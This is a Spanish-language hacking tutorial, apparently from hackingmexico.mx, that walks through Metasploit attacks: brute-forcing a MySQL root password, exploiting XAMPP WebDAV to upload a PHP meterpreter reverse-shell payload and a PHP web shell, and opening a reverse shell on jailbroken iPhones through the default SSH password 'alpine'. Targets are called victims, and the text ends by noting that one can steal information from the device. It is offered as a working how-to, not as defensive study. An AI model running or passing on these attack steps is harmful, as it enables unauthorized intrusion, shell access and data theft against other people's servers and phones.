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Hacking Mysql Server con OSX + IOS 
 
 
Herramientas a utilizar : 
 
 
Infraestructura : PC , Laptop  
OS : Linux , Windows , OSX 
WordList : .txt 
 
 
Temas: 
 
Hacking Mysql Servers con metasploit 
Hacking XAMPP con metasploit 
Brute Force al ssh de iPhone/ipad/ipodTouch 
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Escaneamos al objetivo : 
Hax0r:/ m4ku4z$ sudo nmap -sS -sV –O “ip_de_la_victima” 
 
 

 
 
 
Vemos que la versión de mysql es :  
 
3306/tcp open     mysql          MySQL 5.0.51a-3ubuntu5.3 
 
La cual es vulnerable al ataque realizaremos con metasploit. 
 
Abrimos metasploit: 
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A continuación usaremos los siguientes comandos : 
 
use scanner/mysql/mysql_login 
set RHOSTS 'víctima' 
set USERNAME root 
set PASS_FILE “ruta_del_txt.tx” 
run 
 
 
El cual debería de quedar así : 
 
 
 
 

Verificamos que todo este bien seteado mediante el comando “show options”: 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 



ISC.	
  Juan	
  Angel	
  Osorio	
  Juárez	
  

www.hackingmexico.mx	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  

 
 
 
 
 
Ejecutamos con “run” el exploit una vez que hayamos verificado que este todo 
correcto : 
 

 
 
 
Una vez terminado el escaneo obtendremos el password de root y procedemos a 
conectar un cliente remoto a su base de datos . mediante un cliente remoto 
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Revisamos el password de la aplicación que tienen en línea : 
 

 
 
 
Crackeamos con ayuda de google 
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Crackeo del password : 
 

 
ingresamos con las credenciales obtenidas : 
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Vulnerando XAMMP  
 
 
Actualmente el servicio XAMPP, es usado por la mayoría de webmasters y 
usuarios que se dedican a la Programación Web son totalmente vulnerables y se 
ha creado un modulo en metasploit que explota contraseñas débiles WebDAV en 
los servidores XAMPP y utiliza credenciales proporcionadas para subir una carga 
útil de PHP y ejecutarlo. El exploit se encuentra disponible desde You are not 
allowed to view links. Register or Login y los pasos para aprovecharse de esta 
vulnerabilidad, son los siguientes: 
 
Escaneamos con nmap 
 
nmap -sS -T4 –A “ip_victima” 
 
 

 
 
 
Ejecutamos Metasploit : 
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Utilizamos los siguientes comandos para explotar la vulnerabilidad de XAMPP 
 
 
use exploit/windows/http/xampp_webdav_upload_php 
set payload php/meterpreter/reverse_tcp 
set Lhost 192.168.1.xxx (Nuestra IP) 
set RHOST 192.168.1.xxx (IP Victima) 
exploit 
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Revisamos que todo este bien seteado y listo para ser ejecutado , mediante el 
comando show options: 
 

 
 
 
Explotamos la vulnerabilidad  
 
Mediante el Comando “exploit” 
 
Si todo se realizo correctamente, recibiremos la sesión meterpreter gracias al 
payload que metasploit subió al servicio XAMPP vulnerable. 
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Subimos una Shell PHP  mediante el comando upload , este comando mantiene 
esta estructura : 
 
upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto] 
 
Ejemplo real : 
 
Revisamos donde estamos posicionados dentro de la ramificación de carpetas 
mediante el comando pwd . 
 
Sabemos que Xampp guarda los archivos en la carpeta “htdocs” la subimos con 
upload. 
 

 
 
 
*Verifico que efectivamente no existe dicho archivo en la maquina comprometida. 
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Ejecutamos :  
 
 
meterpreter > upload /Volumes/Datos/Sites/hm.php C:\xampp\\htdocs 
[*] uploading  : /Volumes/Datos/Sites/hm.php -> C:xampp\htdocs 
[*] uploaded   : /Volumes/Datos/Sites/hm.php -> C:xampp\htdocs\hm.php 
meterpreter >  
 
 
Validamos que xampp esta corriendo : 
 

 
Revisamos la Shell : 
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Brute Force al SSH de IOS con Jailbreak 
 
 
Comandos a Utilizar : 
 
msf > use exploit/apple_ios/ssh/cydia_default_ssh 
msf exploit(cydia_default_ssh) > show payloads 
msf exploit(cydia_default_ssh) > set PAYLOAD 
generic/shell_reverse_tcp 
msf exploit(cydia_default_ssh) > set LHOST [MY IP 
ADDRESS] 
msf exploit(cydia_default_ssh) > set RHOST [TARGET 
IP] 
msf exploit(cydia_default_ssh) > exploit 
 
 
 
Abrimos el  Metasploit : 
 

 
 
 
 
 
 
 
 



ISC.	
  Juan	
  Angel	
  Osorio	
  Juárez	
  

www.hackingmexico.mx	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  

Seteamos los parámetros según las direcciones ips que tengamos asignadas: 
 
 

 
 
 
Revisamos que todo este bien con el comando “show options” : 
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Ejecutamos el exploit mediante el comando “exploit”: 
 

 
 
Como podemos observar la contraseña es “alpine”: 
 
 
Ahora simplemente desde otra terminal podemos acceder por ssh al dispositivo y 
robar información , incluso reiniciarlo. 
 

 
 
 
 


